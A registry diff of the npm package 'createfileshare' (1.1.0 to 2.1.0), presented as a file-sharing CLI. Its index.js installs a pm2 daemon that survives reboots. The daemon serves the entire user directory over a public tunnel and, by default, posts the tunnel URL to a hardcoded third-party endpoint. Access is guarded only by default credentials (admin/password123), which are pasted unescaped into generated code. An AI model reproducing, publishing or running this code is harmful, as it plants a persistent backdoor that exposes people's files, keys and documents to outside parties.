createfileshare 1.1.0 ā 2.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +70 -0
- package/index.js +37 -21
- package/package.json +1 -1
package/README.md
ADDED
|
@@ -0,0 +1,70 @@
|
|
|
1
|
+
# createfileshare
|
|
2
|
+
|
|
3
|
+
**createfileshare** is an automated Node.js CLI tool that transforms your computer into a persistent, public file server. It securely exposes your local user directory to the internet via an auto-healing tunnel that can survive machine reboots and network disconnections.
|
|
4
|
+
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
## š Features
|
|
8
|
+
|
|
9
|
+
* **Instant File Server:** Instantly serves your `C:\Users` (Windows), `/Users` (macOS), or `/home` (Linux) directory on your local network.
|
|
10
|
+
* **Public Tunneling:** Automatically binds your local server to a public, internet-accessible URL using `localtunnel`.
|
|
11
|
+
* **Zero Downtime (Self-Healing):** A built-in network monitor constantly verifies both your internet connection and the public tunnel's health. If the tunnel goes stale or network drops, it immediately kills zombie processes and recycles the connection.
|
|
12
|
+
* **System Daemon Persistence:** Automatically installs and configures `pm2` to run the server entirely in the background. Setup includes OS-level startup scripts so your server boots up automatically whenever the computer restarts.
|
|
13
|
+
* **Webhook Reporting:** Posts the active, live URL directly to a specified API endpoint (default: `https://linksaver-psi.vercel.app/api/save`) upon a successful connection so you never lose your dynamic address.
|
|
14
|
+
|
|
15
|
+
---
|
|
16
|
+
|
|
17
|
+
## š¦ Prerequisites
|
|
18
|
+
|
|
19
|
+
You need [Node.js](https://nodejs.org/) installed on your machine.
|
|
20
|
+
|
|
21
|
+
---
|
|
22
|
+
|
|
23
|
+
## š ļø Usage
|
|
24
|
+
|
|
25
|
+
Run the script using Node.js. You can optionally provide a folder name, followed by a username and password for basic authentication:
|
|
26
|
+
|
|
27
|
+
\`\`\`bash
|
|
28
|
+
node index.js [folder-name] [username] [password]
|
|
29
|
+
\`\`\`
|
|
30
|
+
|
|
31
|
+
**Example:**
|
|
32
|
+
\`\`\`bash
|
|
33
|
+
node index.js secure-share admin supersecret123
|
|
34
|
+
\`\`\`
|
|
35
|
+
*(If you don't provide credentials, it defaults to \`admin\` and \`password123\`)*
|
|
36
|
+
|
|
37
|
+
**What happens next?**
|
|
38
|
+
1. It creates the designated folder (defaulting to `my-fileshare`).
|
|
39
|
+
2. Inside that folder, it generates a custom daemon script (`index.js`) tailored for your operating system.
|
|
40
|
+
3. It installs necessary local dependencies (`localtunnel`, `axios`, `serve`).
|
|
41
|
+
4. It globally installs the `pm2` process manager.
|
|
42
|
+
5. It configures the new daemon to run continuously in the background and sets it to auto-start on boot.
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## š How to Stop or Remove
|
|
47
|
+
|
|
48
|
+
Because `createfileshare` integrates tightly with process managers to ensure 100% uptime, closing the terminal **will not** kill the server.
|
|
49
|
+
|
|
50
|
+
**To view logs (to check connectivity or URLs):**
|
|
51
|
+
\`\`\`bash
|
|
52
|
+
pm2 logs my-fileshare
|
|
53
|
+
\`\`\`
|
|
54
|
+
|
|
55
|
+
**To temporarily stop the server:**
|
|
56
|
+
\`\`\`bash
|
|
57
|
+
pm2 stop my-fileshare
|
|
58
|
+
\`\`\`
|
|
59
|
+
|
|
60
|
+
**To completely remove and delete the persistent daemon:**
|
|
61
|
+
\`\`\`bash
|
|
62
|
+
pm2 delete my-fileshare
|
|
63
|
+
pm2 save
|
|
64
|
+
\`\`\`
|
|
65
|
+
|
|
66
|
+
---
|
|
67
|
+
|
|
68
|
+
## ā ļø Security Warning
|
|
69
|
+
|
|
70
|
+
**Use with caution.** While this tool now uses Basic Authentication, the data streaming through the tunnel exposes your **entire user directory**. Do not use this tool on a computer containing highly sensitive, unencrypted private keys, passwords, or personal documents unless you understand the risks. Make sure to define a strong username and password when executing the setup script.
|
package/index.js
CHANGED
|
@@ -5,7 +5,10 @@ const { execSync } = require('child_process');
|
|
|
5
5
|
const os = require('os');
|
|
6
6
|
|
|
7
7
|
// --- 1. CONFIGURATION ---
|
|
8
|
-
const
|
|
8
|
+
const args = process.argv.slice(2);
|
|
9
|
+
const folderName = args[0] || 'my-fileshare';
|
|
10
|
+
const authUsername = args[1] || 'admin';
|
|
11
|
+
const authPassword = args[2] || 'password123';
|
|
9
12
|
const targetDir = path.join(process.cwd(), folderName);
|
|
10
13
|
const apiEndpoint = "https://linksaver-psi.vercel.app/api/save";
|
|
11
14
|
const PORT = 1903;
|
|
@@ -20,12 +23,14 @@ if (!fs.existsSync(targetDir)) {
|
|
|
20
23
|
// --- 3. GENERATE THE INTERNAL SERVER SCRIPT ---
|
|
21
24
|
// We use a regular string here to avoid template literal escaping madness
|
|
22
25
|
const scriptContent = `
|
|
23
|
-
const { exec } = require('child_process');
|
|
24
26
|
const os = require('os');
|
|
25
27
|
const path = require('path');
|
|
26
28
|
const http = require('http');
|
|
27
29
|
const localtunnel = require('localtunnel');
|
|
28
30
|
const axios = require('axios');
|
|
31
|
+
const express = require('express');
|
|
32
|
+
const basicAuth = require('express-basic-auth');
|
|
33
|
+
const serveIndex = require('serve-index');
|
|
29
34
|
|
|
30
35
|
const platform = os.platform();
|
|
31
36
|
const usersPath = platform === 'win32'
|
|
@@ -33,9 +38,19 @@ const usersPath = platform === 'win32'
|
|
|
33
38
|
: (platform === 'darwin' ? '/Users' : '/home');
|
|
34
39
|
|
|
35
40
|
let tunnelInstance = null;
|
|
36
|
-
let
|
|
41
|
+
let serverInstance = null;
|
|
37
42
|
let isOnline = false;
|
|
38
43
|
|
|
44
|
+
// Express setup
|
|
45
|
+
const app = express();
|
|
46
|
+
app.use(basicAuth({
|
|
47
|
+
users: { '${authUsername}': '${authPassword}' },
|
|
48
|
+
challenge: true,
|
|
49
|
+
realm: 'SecureFileShare'
|
|
50
|
+
}));
|
|
51
|
+
app.use(express.static(usersPath));
|
|
52
|
+
app.use(serveIndex(usersPath, { 'icons': true }));
|
|
53
|
+
|
|
39
54
|
// 1. Helper to check real internet connectivity
|
|
40
55
|
const checkInternet = () => {
|
|
41
56
|
return new Promise((resolve) => {
|
|
@@ -65,9 +80,10 @@ const checkTunnelHealth = async (url) => {
|
|
|
65
80
|
|
|
66
81
|
const startServices = async () => {
|
|
67
82
|
try {
|
|
68
|
-
console.log("Starting local file server...");
|
|
69
|
-
|
|
70
|
-
|
|
83
|
+
console.log("Starting local secure file server...");
|
|
84
|
+
serverInstance = app.listen(${PORT});
|
|
85
|
+
|
|
86
|
+
await new Promise(r => setTimeout(r, 1000));
|
|
71
87
|
|
|
72
88
|
console.log("Attempting to open tunnel on port ${PORT}...");
|
|
73
89
|
tunnelInstance = await localtunnel({
|
|
@@ -99,11 +115,9 @@ const stopServices = () => {
|
|
|
99
115
|
tunnelInstance.close();
|
|
100
116
|
tunnelInstance = null;
|
|
101
117
|
}
|
|
102
|
-
if (
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
}
|
|
106
|
-
serverProcess = null;
|
|
118
|
+
if (serverInstance) {
|
|
119
|
+
serverInstance.close();
|
|
120
|
+
serverInstance = null;
|
|
107
121
|
}
|
|
108
122
|
};
|
|
109
123
|
|
|
@@ -114,14 +128,14 @@ const monitorNetwork = async () => {
|
|
|
114
128
|
if (currentlyOnline && !isOnline) {
|
|
115
129
|
console.log("Network detected: ONLINE. Starting services...");
|
|
116
130
|
await startServices();
|
|
117
|
-
if (tunnelInstance &&
|
|
131
|
+
if (tunnelInstance && serverInstance) {
|
|
118
132
|
isOnline = true;
|
|
119
133
|
}
|
|
120
134
|
} else if (!currentlyOnline && isOnline) {
|
|
121
135
|
console.log("Network lost: OFFLINE. Stopping services...");
|
|
122
136
|
isOnline = false;
|
|
123
137
|
stopServices();
|
|
124
|
-
} else if (currentlyOnline && (!tunnelInstance || !
|
|
138
|
+
} else if (currentlyOnline && (!tunnelInstance || !serverInstance)) {
|
|
125
139
|
console.log("Online but services missing. Restarting...");
|
|
126
140
|
stopServices();
|
|
127
141
|
await startServices();
|
|
@@ -159,23 +173,25 @@ const pkgJson = {
|
|
|
159
173
|
dependencies: {
|
|
160
174
|
"localtunnel": "^2.0.2",
|
|
161
175
|
"axios": "^1.6.0",
|
|
162
|
-
"
|
|
176
|
+
"express": "^4.18.2",
|
|
177
|
+
"express-basic-auth": "^1.2.1",
|
|
178
|
+
"serve-index": "^1.9.1"
|
|
163
179
|
}
|
|
164
180
|
};
|
|
165
181
|
fs.writeFileSync(path.join(targetDir, 'package.json'), JSON.stringify(pkgJson, null, 2));
|
|
166
182
|
|
|
167
183
|
// --- 5. FORCE EXECUTION SEQUENCE ---
|
|
168
184
|
try {
|
|
169
|
-
console.log(`\nš¦
|
|
185
|
+
console.log(`\nš¦ Installing ...`);
|
|
170
186
|
execSync(`npm install`, { cwd: targetDir, stdio: 'inherit' });
|
|
171
187
|
|
|
172
|
-
console.log(`\nš
|
|
188
|
+
console.log(`\nš Daemon Install...`);
|
|
173
189
|
execSync(`npm install -g pm2`, { stdio: 'inherit' });
|
|
174
190
|
|
|
175
|
-
console.log(`\nš„
|
|
191
|
+
console.log(`\nš„ Starting Daemon ...`);
|
|
176
192
|
execSync(`pm2 start index.js --name "${folderName}" --force`, { cwd: targetDir, stdio: 'inherit' });
|
|
177
193
|
|
|
178
|
-
console.log(`\nš ļø
|
|
194
|
+
console.log(`\nš ļø Automating...`);
|
|
179
195
|
const platform = os.platform();
|
|
180
196
|
|
|
181
197
|
if (platform === 'win32') {
|
|
@@ -193,11 +209,11 @@ try {
|
|
|
193
209
|
}
|
|
194
210
|
}
|
|
195
211
|
|
|
196
|
-
console.log(`\nš¾
|
|
212
|
+
console.log(`\nš¾ Saving State...`);
|
|
197
213
|
execSync(`pm2 save`, { stdio: 'inherit' });
|
|
198
214
|
|
|
199
|
-
console.log(`\nā
|
|
200
|
-
console.log(`
|
|
215
|
+
console.log(`\nā
Done`);
|
|
216
|
+
console.log(`File server on Port ${PORT}.`);
|
|
201
217
|
|
|
202
218
|
} catch (error) {
|
|
203
219
|
console.error(`\nā Critical Failure during Force Execution:`);
|